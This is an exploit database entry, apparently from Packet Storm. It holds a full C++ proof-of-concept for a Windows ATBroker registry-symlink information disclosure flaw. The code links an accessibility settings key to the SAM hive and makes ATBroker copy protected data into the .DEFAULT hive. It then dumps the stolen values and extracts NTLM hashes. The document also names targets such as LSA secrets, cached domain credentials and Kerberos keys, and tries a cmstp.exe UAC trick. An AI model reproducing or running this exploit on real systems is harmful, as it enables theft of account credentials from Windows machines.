Share
## https://sploitus.com/exploit?id=PACKETSTORM:219933
==================================================================================================================================
    | # Title     : Windows TBroker Registry Symlink Information Disclosure                                                          |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : No standalone download available                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This code demonstrates a proof-of-concept attack targeting Windows ATBroker (Assistive Technology Broker) to achieve sensitive information disclosure through unsafe Registry handling.
    
    [+] POC        :  
    
    #include <Windows.h>
    #include <comdef.h>
    #include <stdio.h>
    #include <vector>
    #include <string>
    #include <map>
    #include <thread>
    #include <chrono>
    #include <sddl.h>
    #include <winternl.h>
    #include <aclapi.h>
    #pragma comment(lib, "advapi32.lib")
    #pragma comment(lib, "ntdll.lib")
    
    #define INTERNAL_REG_OPTION_CREATE_LINK (0x00000002L)
    #define INTERNAL_REG_OPTION_OPEN_LINK (0x00000100L)
    
    extern "C" {
        NTSTATUS NTAPI NtCreateKey(
            PHANDLE KeyHandle,
            ACCESS_MASK DesiredAccess,
            POBJECT_ATTRIBUTES ObjectAttributes,
            ULONG TitleIndex,
            PUNICODE_STRING Class,
            ULONG CreateOptions,
            PULONG Disposition
        );
    
        NTSTATUS NTAPI NtOpenKeyEx(
            PHANDLE KeyHandle,
            ACCESS_MASK DesiredAccess,
            POBJECT_ATTRIBUTES ObjectAttributes,
            ULONG OpenOptions
        );
    
        NTSTATUS NTAPI NtSetValueKey(
            HANDLE KeyHandle,
            PUNICODE_STRING ValueName,
            ULONG TitleIndex,
            ULONG Type,
            PVOID Data,
            ULONG DataSize
        );
    
        NTSTATUS NTAPI NtDeleteKey(HANDLE KeyHandle);
        NTSTATUS NTAPI RtlNtStatusToDosError(NTSTATUS Status);
        VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);
    }
    class RegistryUtils {
    public:
        static std::wstring GetUserSid() {
            HANDLE hToken = nullptr;
            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
                return L"";
    
            DWORD dwSize = 0;
            GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);       
            std::vector<BYTE> buffer(dwSize);
            if (!GetTokenInformation(hToken, TokenUser, buffer.data(), dwSize, &dwSize)) {
                CloseHandle(hToken);
                return L"";
            }
    
            PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(buffer.data());
            LPWSTR lpSid = nullptr;
            
            if (!ConvertSidToStringSid(pTokenUser->User.Sid, &lpSid)) {
                CloseHandle(hToken);
                return L"";
            }
    
            std::wstring sid(lpSid);
            LocalFree(lpSid);
            CloseHandle(hToken);
            
            return sid;
        }
    
        static std::wstring RegPathToNative(const std::wstring& path) {
            std::wstring regpath = L"\\Registry\\";
    
            if (path.empty() || path[0] == L'\\')
                return path;
    
            if (path.find(L"HKLM\\") == 0) {
                return regpath + L"Machine\\" + path.substr(5);
            }
            else if (path.find(L"HKU\\") == 0) {
                return regpath + L"User\\" + path.substr(4);
            }
            else if (path.find(L"HKCU\\") == 0) {
                return regpath + L"User\\" + GetUserSid() + L"\\" + path.substr(5);
            }
            
            return L"";
        }
    
        static bool CreateRegistrySymlink(const std::wstring& symlink, const std::wstring& target, bool isVolatile) {
            std::wstring nativeSymlink = RegPathToNative(symlink);
            std::wstring nativeTarget = RegPathToNative(target);
    
            if (nativeSymlink.empty() || nativeTarget.empty())
                return false;
    
            printf("[*] Creating symlink: %ls -> %ls\n", nativeSymlink.c_str(), nativeTarget.c_str());
    
            UNICODE_STRING name;
            RtlInitUnicodeString(&name, nativeSymlink.c_str());
    
            OBJECT_ATTRIBUTES objAttr;
            InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
    
            HANDLE hKey = nullptr;
            ULONG disposition = 0;
            
            ULONG options = INTERNAL_REG_OPTION_CREATE_LINK | 
                            (isVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE);
    
            NTSTATUS status = NtCreateKey(&hKey, KEY_ALL_ACCESS, &objAttr, 0, nullptr, options, &disposition);
            
            if (status != 0) {
                SetLastError(RtlNtStatusToDosError(status));
                return false;
            }
    
            UNICODE_STRING valueName;
            RtlInitUnicodeString(&valueName, L"SymbolicLinkValue");
    
            status = NtSetValueKey(hKey, &valueName, 0, REG_LINK, 
                                   (PVOID)nativeTarget.c_str(), 
                                   nativeTarget.length() * sizeof(WCHAR));
            
            CloseHandle(hKey);
            
            if (status != 0) {
                SetLastError(RtlNtStatusToDosError(status));
                return false;
            }
    
            return true;
        }
    
        static bool DeleteRegistrySymlink(const std::wstring& symlink) {
            std::wstring nativeSymlink = RegPathToNative(symlink);
            if (nativeSymlink.empty())
                return false;
    
            UNICODE_STRING name;
            RtlInitUnicodeString(&name, nativeSymlink.c_str());
    
            OBJECT_ATTRIBUTES objAttr;
            InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr);
    
            HANDLE hKey = nullptr;
            NTSTATUS status = NtOpenKeyEx(&hKey, DELETE, &objAttr, 0);
            
            if (status != 0) {
                SetLastError(RtlNtStatusToDosError(status));
                return false;
            }
    
            status = NtDeleteKey(hKey);
            CloseHandle(hKey);
    
            if (status != 0) {
                SetLastError(RtlNtStatusToDosError(status));
                return false;
            }
    
            return true;
        }
    };
    class DataExtractor {
    public:
        struct RegistryValue {
            std::wstring name;
            DWORD type;
            std::vector<BYTE> data;
        };
    
        static std::vector<RegistryValue> ExtractRegistryValues(HKEY rootKey, const std::wstring& subKey) {
            std::vector<RegistryValue> values;
            HKEY hKey = nullptr;
            
            if (RegOpenKeyExW(rootKey, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
                printf("[!] Failed to open key: %ls\n", subKey.c_str());
                return values;
            }
    
            DWORD index = 0;
            WCHAR valueName[256];
            DWORD valueNameSize = 256;
            DWORD valueType = 0;
            DWORD dataSize = 0;
    
            while (RegEnumValueW(hKey, index++, valueName, &valueNameSize, nullptr, 
                                  &valueType, nullptr, &dataSize) == ERROR_SUCCESS) {
                
                std::vector<BYTE> data(dataSize);
                if (RegEnumValueW(hKey, index - 1, valueName, &valueNameSize, nullptr,
                                   &valueType, data.data(), &dataSize) == ERROR_SUCCESS) {
                    
                    RegistryValue val;
                    val.name = valueName;
                    val.type = valueType;
                    val.data = std::move(data);
                    values.push_back(val);
                    
                    printf("[+] Extracted value: %ls (Type: %d, Size: %d)\n", 
                           valueName, valueType, dataSize);
                }
                
                valueNameSize = 256;
                dataSize = 0;
            }
    
            RegCloseKey(hKey);
            return values;
        }
    
        static void DumpHexData(const std::vector<BYTE>& data, size_t maxLen = 256) {
            size_t len = min(data.size(), maxLen);
            for (size_t i = 0; i < len; i++) {
                printf("%02X ", data[i]);
                if ((i + 1) % 16 == 0) printf("\n");
                else if ((i + 1) % 8 == 0) printf(" ");
            }
            if (len < data.size()) printf("... (truncated)");
            printf("\n");
        }
    };
    class ATBrokerExploit {
    private:
        std::wstring m_sessionPath;
        std::vector<std::pair<std::wstring, std::wstring>> m_targets;
        
        void InitializeTargets() {
            m_targets = {
                {L"sam", L"\\REGISTRY\\MACHINE\\SAM\\SAM"},
                {L"security", L"\\REGISTRY\\MACHINE\\SECURITY"},
                {L"system", L"\\REGISTRY\\MACHINE\\SYSTEM"},
                {L"lsa", L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa"},
                {L"cached_creds", L"\\REGISTRY\\MACHINE\\SECURITY\\Cache"},
                {L"domain_cached", L"\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Secrets"},
                {L"wdigest", L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest"},
                {L"kerberos_keys", L"\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Keys"},
                {L"user_credentials", L"\\REGISTRY\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users"},
            };
        }
    
        std::wstring BuildSessionPath() {
            DWORD sessionId = 0;
            ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
            
            wchar_t path[512];
            swprintf_s(path, L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session%d\\ATConfig\\colorfiltering", 
                       sessionId);
            return std::wstring(path);
        }
    
        bool TriggerSecureDesktop() {
            printf("[*] Triggering UAC secure desktop...\n");
            SHELLEXECUTEINFOW sei = { sizeof(sei) };
            sei.lpVerb = L"runas";
            sei.lpFile = L"cmd.exe";
            sei.lpParameters = L"/c echo Testing > nul";
            sei.nShow = SW_HIDE;
            ShellExecuteExW(&sei);     
            printf("[+] UAC prompt should appear. Dismiss or let it timeout.\n");
            return true;
        }
    
        bool WaitForCopy() {
            printf("[*] Waiting for ATBroker to copy settings...\n");
    
            for (int i = 0; i < 30; i++) {
                Sleep(1000);
    
                HKEY hKey = nullptr;
                if (RegOpenKeyExW(HKEY_USERS, 
                                  L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering",
                                  0, KEY_READ, &hKey) == ERROR_SUCCESS) {
                    WCHAR valueName[256];
                    DWORD valueNameSize = 256;
                    if (RegEnumValueW(hKey, 0, valueName, &valueNameSize, nullptr, 
                                      nullptr, nullptr, nullptr) == ERROR_SUCCESS) {
                        RegCloseKey(hKey);
                        return true;
                    }
                    RegCloseKey(hKey);
                }
            }
            
            return false;
        }
    
        void ExtractAndDumpData() {
            std::wstring targetPath = L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering";
            
            printf("\n[*] Extracting stolen data...\n");
            auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);
            
            if (values.empty()) {
                printf("[!] No data extracted!\n");
                return;
            }
            
            printf("\n[+] Successfully extracted %zu values!\n", values.size());
            
            for (const auto& val : values) {
                printf("\n--- Value: %ls ---\n", val.name.c_str());
                printf("Type: ");
                switch (val.type) {
                    case REG_SZ: printf("REG_SZ\n"); break;
                    case REG_BINARY: printf("REG_BINARY\n"); break;
                    case REG_DWORD: printf("REG_DWORD\n"); break;
                    case REG_QWORD: printf("REG_QWORD\n"); break;
                    case REG_MULTI_SZ: printf("REG_MULTI_SZ\n"); break;
                    default: printf("Unknown (0x%X)\n", val.type);
                }
                
                printf("Data (%zu bytes):\n", val.data.size());
                
                if (val.type == REG_SZ || val.type == REG_MULTI_SZ) {
                    wprintf(L"%ls\n", (wchar_t*)val.data.data());
                } else {
                    DataExtractor::DumpHexData(val.data);
                }
            }
        }
    
    public:
        ATBrokerExploit() {
            InitializeTargets();
        }
    
        bool Exploit() {
            printf("\n");
            printf("========================================\n");
            printf("  CVE-2026-25186 - ATBroker Exploit\n");
            printf("  Windows Information Disclosure\n");
            printf("========================================\n\n");
            m_sessionPath = BuildSessionPath();
            printf("[*] Session path: %ls\n", m_sessionPath.c_str());
    
            RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
            std::wstring targetPath = m_targets[0].second;
            
            printf("\n[*] Creating malicious registry symlink...\n");
            if (!RegistryUtils::CreateRegistrySymlink(m_sessionPath, targetPath, true)) {
                printf("[!] Failed to create symlink: %d\n", GetLastError());
                return false;
            }
            printf("[+] Symlink created successfully\n");
            
            printf("\n[*] Launching assistive technology (osk.exe)...\n");
            ShellExecuteW(nullptr, L"open", L"osk.exe", L"", nullptr, SW_SHOW);
            Sleep(2000);
            printf("[*] Ensuring ATBroker is running...\n");
            STARTUPINFOW si = { sizeof(si) };
            PROCESS_INFORMATION pi = {};
            CreateProcessW(L"C:\\Windows\\System32\\ATBroker.exe", nullptr, nullptr, nullptr, 
                           FALSE, 0, nullptr, nullptr, &si, &pi);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            Sleep(1000);
    
            TriggerSecureDesktop();
    
            if (!WaitForCopy()) {
                printf("[!] Timeout waiting for data copy\n");
                RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
                return false;
            }
            
            printf("[+] Data copied successfully!\n");
    
            ExtractAndDumpData();
    
            printf("\n[*] Cleaning up...\n");
            RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
            system("taskkill /F /IM osk.exe > nul 2>&1");
            
            printf("\n[+] Exploit completed!\n");
            return true;
        }
    };
    class AdvancedATBrokerExploit : public ATBrokerExploit {
    private:
        void BypassUACForTrigger() {
           
            printf("[*] Attempting silent UAC trigger...\n");
            SHELLEXECUTEINFOW sei = { sizeof(sei) };
            sei.lpVerb = L"runas";
            sei.lpFile = L"cmstp.exe";
            sei.lpParameters = L"/au /s C:\\Windows\\System32\\cmstp.exe";
            sei.nShow = SW_HIDE;
            ShellExecuteExW(&sei);
        }
        
        void ExtractNTLMHashes() {
    
            std::wstring targetPath = L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering";
            
            auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);
            
            for (const auto& val : values) {
                if (val.name == L"V" || val.name == L"F") {
                    printf("\n[!!!] Found potential credential data in %ls:\n", val.name.c_str());
    
                    if (val.data.size() > 0x9c + 16) {
                        printf("NTLM Hash: ");
                        for (int i = 0; i < 16; i++) {
                            printf("%02X", val.data[0x9c + i]);
                        }
                        printf("\n");
                    }
                }
            }
        }
    
    public:
        bool FullExploit() {
            if (!Exploit()) {
                printf("[!] Basic exploit failed, trying advanced techniques...\n");
                BypassUACForTrigger();
                Sleep(5000);
                ExtractNTLMHashes();
            }
            return true;
        }
    };
    int wmain(int argc, wchar_t* argv[]) {
    
        printf("[*] Running with limited privileges (as designed)\n");
        
        AdvancedATBrokerExploit exploit;
        
        if (exploit.FullExploit()) {
            printf("\n[+] Information disclosure successful!\n");
            printf("[*] Check .DEFAULT user hive for stolen registry data\n");
            printf("[*] Run 'regedit' and navigate to:\n");
            printf("    HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering\n");
    
            system("reg export \"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering\" stolen_data.reg /y");
            printf("[+] Data saved to stolen_data.reg\n");
            
            return 0;
        } else {
            printf("\n[!] Exploit failed\n");
            return 1;
        }
    }
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================